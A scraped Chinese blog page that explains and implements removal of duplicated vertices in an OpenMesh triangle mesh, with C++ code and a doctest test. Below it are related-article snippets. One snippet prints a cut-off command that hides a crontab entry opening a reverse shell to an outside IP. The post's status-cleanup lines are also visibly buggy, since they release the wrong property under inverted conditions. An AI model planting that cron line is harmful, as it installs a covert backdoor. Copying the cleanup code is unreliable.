openmesh - impl - Remove Duplicated Vertices

关于openmesh元素删除实现的介绍参见:openmesh - src - trimesh delete and add elements - grassofsky - 博客园 (cnblogs.com)

重复点删除的主要步骤如下:

  • 找到所有的重复顶点,并设定每组重复顶点中需要保留的顶点;
  • 记录这些重复顶点对应的三角形;(因为下一步在顶点删除的时候,会将顶点周围关联的三角形都删除,并将顶点的状态设置为deleted);
  • 删除所有的重复的顶点;(此时会删除关联的三角形和半边);
  • 可能出现孤立点,删除孤立点;(此步骤可选);
  • 回收,边和面的资源;(此步骤为了后续添加关联面做准备);
  • 遍历所有的重复顶点关联的三角形,如果这个三角形中仅含有一个重复点,那么添加该三角形,并将重复点替换为对应的保留的点;
  • 恢复重新添加的保留的顶点的删除状态;
  • 资源回收;

具体实现代码如下:

#include <iostream>
#include <OpenMesh/Core/Mesh/TriMesh_ArrayKernelT.hh>
#include <OpenMesh/Tools/Utils/Timer.hh> #define DOCTEST_CONFIG_IMPLEMENT_WITH_MAIN
#include "doctest.h" using namespace OpenMesh; struct MyTraits : public OpenMesh::DefaultTraits
{
#if 1
typedef OpenMesh::Vec3f Point;
typedef OpenMesh::Vec3f Normal;
#else
typedef OpenMesh::Vec3d Point;
typedef OpenMesh::Vec3d Normal;
#endif
}; typedef OpenMesh::TriMesh_ArrayKernelT<MyTraits> TriMesh; //----------------------------------------------------------------------------- bool HasDuplicatedVertex(const TriMesh& mesh)
{
std::map<TriMesh::Point, int> mapPoints;
for (auto iter = mesh.vertices_begin(); iter != mesh.vertices_end(); ++iter)
{
auto iterPt = mapPoints.find(mesh.point(*iter));
if (iterPt == mapPoints.end())
{
mapPoints.insert_or_assign(mesh.point(*iter), 1);
}
else
{
return true;
}
} return false;
} int RemoveDuplicatedVertex(TriMesh& mesh)
{
// Find all duplicated vertices
int iOriginalNumVertices = static_cast<int>(mesh.n_vertices());
std::map<TriMesh::Point, TriMesh::VertexHandle> mapPoints;
std::map<TriMesh::VertexHandle, std::set<TriMesh::VertexHandle>> mapDuplicatedVertices; for (auto iter = mesh.vertices_begin(); iter != mesh.vertices_end(); ++iter)
{
auto& pt = mesh.point(*iter);
if (mapPoints.find(pt) != mapPoints.end())
{
auto& vh = mapPoints[pt];
auto iterDuplicatedVertices = mapDuplicatedVertices.find(vh);
if (iterDuplicatedVertices == mapDuplicatedVertices.end())
{
mapDuplicatedVertices.insert(std::make_pair(vh, std::set<TriMesh::VertexHandle>{ vh, *iter }));
}
else
{
iterDuplicatedVertices->second.insert(*iter);
}
}
else
{
mapPoints.insert(std::make_pair(pt, *iter));
}
} // Record the duplicated vertices related faces
std::map<TriMesh::VertexHandle, std::set<std::array<TriMesh::VertexHandle, 3>>> mapVertexFaces;
for (auto iter = mapDuplicatedVertices.begin(); iter != mapDuplicatedVertices.end(); ++iter)
{
auto pair = mapVertexFaces.insert(std::make_pair(iter->first, std::set<std::array<TriMesh::VertexHandle, 3>>{}));
auto& vecFaces = pair.first->second;
for (auto v_it = iter->second.begin(); v_it != iter->second.end(); ++v_it)
{
for (auto vf_it = mesh.vf_iter(*v_it); vf_it.is_valid(); ++vf_it)
{
std::array<TriMesh::VertexHandle, 3> face;
int i = 0;
auto fv_it = mesh.fv_begin(*vf_it);
face[i++] = *(fv_it++);
face[i++] = *(fv_it++);
face[i++] = *(fv_it++);
vecFaces.insert(face);
}
}
} if (!mesh.has_vertex_status()) mesh.request_vertex_status();
if (!mesh.has_face_status()) mesh.request_face_status();
if (!mesh.has_edge_status()) mesh.request_edge_status(); // remove all duplicated vertices
for (auto iter = mapDuplicatedVertices.begin(); iter != mapDuplicatedVertices.end(); ++iter)
{
for (auto v_it = iter->second.begin(); v_it != iter->second.end(); ++v_it)
{
mesh.delete_vertex(*v_it);
}
} mesh.delete_isolated_vertices(); // garbage_collection edge and face
mesh.garbage_collection(false, true, true); // add not degenereated faces
std::set<TriMesh::VertexHandle> setRemainVertices;
for (auto iter = mapVertexFaces.begin(); iter != mapVertexFaces.end(); ++iter)
{
for (auto f_it = iter->second.begin(); f_it != iter->second.end(); ++f_it)
{
std::array<TriMesh::VertexHandle, 3> face = *f_it;
unsigned short result = 0;
for (auto iter = mapDuplicatedVertices.begin(); iter != mapDuplicatedVertices.end(); ++iter)
{
// bit pos records if the vertex is duplicated vertex or not
result = 0;
result |= (iter->second.count(face[0]) == 0 ? 0 : 1);
result |= (iter->second.count(face[1]) == 0 ? 0 : 2);
result |= (iter->second.count(face[2]) == 0 ? 0 : 4);
if (result == 1 || result == 2 || result == 4)
{
// replace the duplicated vertex as remaining vertex
face[result / 2] = iter->first;
mesh.add_face(face[0], face[1], face[2]);
setRemainVertices.insert(face[0]);
setRemainVertices.insert(face[1]);
setRemainVertices.insert(face[2]);
break;
}
}
}
} // recover status of remain vertex
for (auto v_it = setRemainVertices.begin(); v_it != setRemainVertices.end(); ++v_it)
{
mesh.status(*v_it).set_deleted(false);
} // garbage_collection vertex
mesh.garbage_collection(); if (!mesh.has_vertex_status()) mesh.release_vertex_status();
if (!mesh.has_face_status()) mesh.release_vertex_status();
if (!mesh.has_edge_status()) mesh.release_vertex_status(); return iOriginalNumVertices - static_cast<int>(mesh.n_vertices());
} //----------------------------------------------------------------------------- TEST_CASE("testing delete duplicated vertex")
{
TriMesh mesh;
// Add some vertices
TriMesh::VertexHandle vhandle[7];
vhandle[0] = mesh.add_vertex(TriMesh::Point(0, 0, 0));
vhandle[1] = mesh.add_vertex(TriMesh::Point(0, 2, 0));
vhandle[2] = mesh.add_vertex(TriMesh::Point(2, 2, 0));
vhandle[3] = mesh.add_vertex(TriMesh::Point(2, 0, 0));
vhandle[4] = mesh.add_vertex(TriMesh::Point(1, 1, 0));
vhandle[5] = mesh.add_vertex(TriMesh::Point(1, 1, 0));
vhandle[6] = mesh.add_vertex(TriMesh::Point(1, 1, 0)); // Add faces
mesh.add_face(vhandle[0], vhandle[1], vhandle[4]);
mesh.add_face(vhandle[0], vhandle[4], vhandle[6]);
mesh.add_face(vhandle[0], vhandle[6], vhandle[3]);
mesh.add_face(vhandle[1], vhandle[5], vhandle[4]);
mesh.add_face(vhandle[1], vhandle[2], vhandle[5]);
mesh.add_face(vhandle[2], vhandle[6], vhandle[5]);
mesh.add_face(vhandle[2], vhandle[3], vhandle[6]);
mesh.add_face(vhandle[4], vhandle[5], vhandle[6]); auto iNDeleted = RemoveDuplicatedVertex(mesh);
CHECK(iNDeleted == 2);
CHECK(mesh.n_faces() == 4);
CHECK(mesh.n_vertices() == 5);
CHECK_FALSE(HasDuplicatedVertex(mesh));
}

openmesh - impl - Remove Duplicated Vertices的更多相关文章

  1. leetcode 283 Move Zeros; 27 Remove Elements; 26 Remove Duplicated from Sorted Array;

    ,,,,}; //把数组的值赋给vector vector<int> vec(arr, arr+sizeof(arr)/sizeof(int)); 解法一: 时间复杂度O(n) 空间复杂度 ...

  2. remove duplicated gene pair using awk

    cat input.txt TRINITY_DN106621_c0_g1_i1 TRINITY_DN129833_c0_g1_i2 TRINITY_DN106621_c0_g1_i1 TRINITY_ ...

  3. CG&CAD resource

    Computational Geometry The Geometry Center (UIUC) Computational Geometry Pages (UIUC) Geometry in Ac ...

  4. 大数据技术之_19_Spark学习_05_Spark GraphX 应用解析 + Spark GraphX 概述、解析 + 计算模式 + Pregel API + 图算法参考代码 + PageRank 实例

    第1章 Spark GraphX 概述1.1 什么是 Spark GraphX1.2 弹性分布式属性图1.3 运行图计算程序第2章 Spark GraphX 解析2.1 存储模式2.1.1 图存储模式 ...

  5. 07-THREE.JS 各种形状的几何图形

    <!DOCTYPE html> <html> <head> <title>Example 02.04 - Geometries</title> ...

  6. 2. Spark GraphX解析

    2.1 存储模式 2.1.1 图存储模式 巨型图的存储总体上有边分割和点分割两种存储方式 1)边分割(Edge-Cut):每个顶点都存储一次,但有的边会被打断分到两台机器上.这样做的好处是节省存储空间 ...

  7. Spark GraphX从入门到实战

      第1章 Spark GraphX 概述 1.1 什么是 Spark GraphX   Spark GraphX 是一个分布式图处理框架,它是基于 Spark 平台提供对图计算和图挖掘简洁易用的而丰 ...

  8. arcmap Command

    The information in this document is useful if you are trying to programmatically find a built-in com ...

  9. python查找并删除相同文件-UNIQ File-wxPython-v6

    相比第一版,新增:菜单,对话框,文件过滤器,操作结果保存,配置功能(自己写了一个读写配置文件的功能),提示语优化,模块分化更合理. 截图: 源代码: UniqFile-wxPython-v6.py: ...

随机推荐

  1. springboot优雅实现异常处理

    前言 在平时的 API 开发过程中,总会遇到一些错误异常没有捕捉到的情况.那有的小伙伴可能会想,这还不简单么,我在 API 最外层加一个 try...catch 不就完事了. 哈哈哈,没错.这种方法简 ...

  2. 【力扣】454. 四数相加 II

    给定四个包含整数的数组列表 A , B , C , D ,计算有多少个元组 (i, j, k, l) ,使得 A[i] + B[j] + C[k] + D[l] = 0. 为了使问题简单化,所有的 A ...

  3. Redis学习推荐资料合集

    目录 一.官方 二.书籍 三.推荐博客 一.官方 redis官网 redis中文网 redis中文命令网 redis模块 redis-github源码 redis报告 二.书籍 <Redis开发 ...

  4. Jenkins安全加固

    1.jenkins未授权访问 描述 jenkins不当配置可导致未授权访问管理控制台,可以通过脚本命令行执行系统命令.通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,w ...

  5. CPU的中断

    目录 一.简介 二.具体 方式 硬中断 软中断 中断切换 网卡中断 三.中断查看 一.简介 中断其实就是由硬件或软件所发送的一种称为IRQ(中断请求)的信号.中断允许让设备,如键盘,串口卡,并口等设备 ...

  6. Nginx模块之ngx_http_gzip_module

    Module ngx_http_gzip_module 该ngx_http_gzip_module模块是一个使用"gzip"方法压缩响应的过滤器.这通常有助于将传输数据的大小减少一 ...

  7. 12 - Vue3 UI Framework - 打包发布

    基础组件库先做到这个阶段,后面我会继续新增.完善 接下来,我们对之前做的组件进行打包发布到 npm 返回阅读列表点击 这里 组件库优化 通用层叠样式表 我想大家都注意到了,前面我们在写组件的时候,sc ...

  8. CF1454B Unique Bid Auction 题解

    Content 给定一个长度为 \(n\) 的数列 \(\{a_i\}_{i=1}^n\),请找出在数列中仅出现一次的最小的数的位置. 数据范围:\(t\) 组询问,\(1\leqslant t\le ...

  9. ORM-数据库命令操作包装实例对象学习

    http://www.cnblogs.com/alex3714/articles/5978329.html python 之路,Day11 - sqlalchemy ORM   本节内容 ORM介绍 ...

  10. 隐藏计划任务反弹shell

    靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...